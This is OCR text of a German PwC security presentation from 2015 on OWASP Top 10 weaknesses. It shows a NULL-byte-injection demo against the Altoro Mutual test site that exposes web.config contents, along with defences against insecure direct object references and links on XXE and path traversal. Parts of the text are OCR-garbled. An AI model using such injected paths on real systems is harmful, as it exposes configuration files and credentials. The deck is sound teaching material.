 Deoocit Prac Speichern unter...

« Lending Services
= Cards

= Insurance UbEI’S’E‘tEEﬂ in Deutsch
Betirement

« Other Services Seitenquelltext anzeigen Strg+l
INSIDE ALTORO MUTUAL

Seiteninfo anzeigen
= About Us

= Contact Us

= Locations Element untersuchen Strg+Urnschalt+
« Investor Relations

Drucken...

(Un)Sicherheit bei ihrer Applikation? 19. Mai 2015
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Anwendungsbeispiel — Szenario 6
NULL Byte Injection in der Seitenquelltext Ansicht

Demo — Modifizierte Eingabe 3
@@ view-source:http: : ire. . : .. ) ig%00.txt O~ O =

<td wvalign="top" cclspan="3" class="bb":»

<span id="Content_Main_lblContent"><configuration:
<cunnection5trings}
<add name="DBConnStr" providerName="5ystem.Data.0leDb"
cunnectloHEtrlng "Provider=Microsoft.Jlet.OLEDE.4.0; User ID=Admin; Data
‘Source=c:isample’\App Data‘altoro.mdb;"/ >
‘ </connectionStrings:
<system.web>
<authentication mode="Mone"/>
<compilation debug="true" defaultlLanguage="C#"/>
<customErrors mode="0n" defaultRedirect="~/servererror.aspx">
<error statusCode="484" redirect="~/notfound.aspx™/>
</customErrors:
<httpRuntime enableHeaderChecking="false"/>
! <pages buffer="true" enableViewState="false" enableViewStateMac="false"
§uiewStateEncryptionHDde="Never" validateRequest="false"/>
‘ <xhtmlConformance mode="Legacy"/>
</system.web:
<fccnf1guratlun>

</td>
< trs
«/tablex

(Un)Sicherheit bei ihrer Applikation? 19. Mai 2015
PwC 42



| Sicherheitsvorfall
Wer tiberwacht wen?

08.05.2015 12:23 « Vorige | Nachste »

[+f: Kritische Liicke in Uberwachungs-Software fiir
kritische Systeme

m uarlesen / MP3-Download

Uber einen Bug in Symantecs Server-Uberwachungs-Software kénnen Angreifer
den Systemen beliebige Dateien unterjubeln und diese ausfiihren.

Bei der Server-Uberwachungs-Software Critical System Protection von
§-/p 9.  Symanteckann man sich ohne weitere Authentifizierung als Client
: @ & anmelden. Was unspektakular klingt, birgt durchaus Gefahrenpotential,:
| denn aufgrund eines Directory-traversal-Bugs konne man eigenen Code |
I
|

einschleusen und ausfiihren, berichten die Entdecker der Liicke in ihrem Blog. :

Symantec hat bereits im Januar einen Patch zur Verfugung gestellt, Details zur
Schwachstelle haben die Entdecker aber erst kiirzlich veroffentlicht.,

Quelle: http://heise.de/-2638669

(Un)Sicherheit bei ihrer Applikation? 19. Mai 2015
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A4 — Unsichere direkte Objektreferenzen a
MaBnahmenbehandlung

« Design Uberlegungen
- Nur wenn notwendig Dateinamen oder —pfade offen legen
- Positivliste (whitelist) anlegen und diese konsequent priifen

- Angemessene Zugriffsschutzkontrolle implementieren

« Allgemeine Empfehlungen
- Bevor Benutzereingaben prozessiert werden
1. Kanonisierung (Unicode/Internationalisierung)
2. Normalisierung (absolute Pfad-/Dateinamen Priifung)

3. Identitatsprifung mit anschlieBender Zugriffsschutzprifung

(Un)Sicherheit bei ihrer Applikation?

19. Mai 2015
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Fazit

(Un)Sicherheit bei inrer Applikation? 19. Mai 2015
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l Fazit e

« OWASP TOP 10 umfasst mehr Schwachstellen als oft angenommen
wird und dokumentiert ist

- Weitere mogliche Injection Klasse vorgestellt

- Verdeutlichung der TOP 10 Kategorie:
A4-Unsichere direkte Objektreferenzen

« Wer (hinter)fragt, gewinnt
- Design-Entscheidungen
- Benutzereingaben konnen vielfaltig sein (XML <-> RSS, SVG etc.)

e« Mehrere risikoarme evaluierte Schwachstellen konnen in Summe
ihre Applikation sabotieren

(Un)Sicherheit bei ihrer Applikation? 19. Mai 2015
PwC 46



Vielen Danlk fur Ihre Aufmerksamkeit.

PricewaterhouseCoopers AG
Wirtschaftspriifungsgesellschaft
Friedrich-Ebert-Anlage 35-37

60327 Frankfurt am Main, Germany
T: +4969 95856925

M: +49 1511094 9421
alexios.fakos@de.pwc.com
www.pwe.com

wc Alexios Fakos
p Manager, Cyber Security

© 2015 PricewaterhouseCoopers Aktiengesellschaft Wirtschaftsprifungsgesellschaft.

Alle Rechte vorbehalten. ,PwC* bezeichnet in diesem Dokument die PricewaterhouseCoopers
Aktiengesellschaft Wirtschaftsprifungsgesellschatft, die eine Mitgliedsgesellschaft der
PricewaterhouseCoopers International Limited (PwCIL) ist. Jede der Mitgliedsgesellschaften der PwCIL
ist eine rechtlich selbststéndige Gesellschaft.



| Anhang
Weiterfuhrende Informationen

XML Schema, DTD, and Entity Attacks A Compendium of Known Techniques:
http://www.vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf

XML External Entity (XXE) Processing:
https://www.owasp.org/index.php/XML External Entity (XXE) Processing

XML Denial of Service Attacks and Defenses (2009):
https://msdn.microsoft.com/en-us/magazine/ee335713.aSpx

Identifying Xml eXternal Entity vulnerability (XXE) at runkeeper.com:
http://blog.h3xstream.com/2014/06/identifying-xml-external-entity.html

Revisting XXE and abusing protocols:
https://www.sensepost.com/blog/2014/revisting-xxe-and-abusing-protocols/

Testing Directory traversal/file include (OTG-AUTHZ-001):
https://www.owasp.org/index.php/Testing Directory traversal/file include (OTG-AUTHZ-001)

Bugfix Elasticsearch HTTP: Ensure url path expansion only works inside of plugins:
https://github.com/spinscale/elasticsearch/commit/5d8ege24c917bsf2c0958ba68be3gaq2efacadbe

File and other classes in java.io do not handle embedded nulls properly:
http://bugs.java.com/bugdatabase/view bug.do?bug id=8014846

Jira Path Traversal explained (CVE-2014-2314) :
http://blog.haxstream.com/2014/02/jira-path-traversal-explained.html

Analyzing the Magento Vulnerability:
http://blog.checkpoint.com/2015/04/20/analyzing-magento-vulnerability/

(Un)Sicherheit bei ihrer Applikation?
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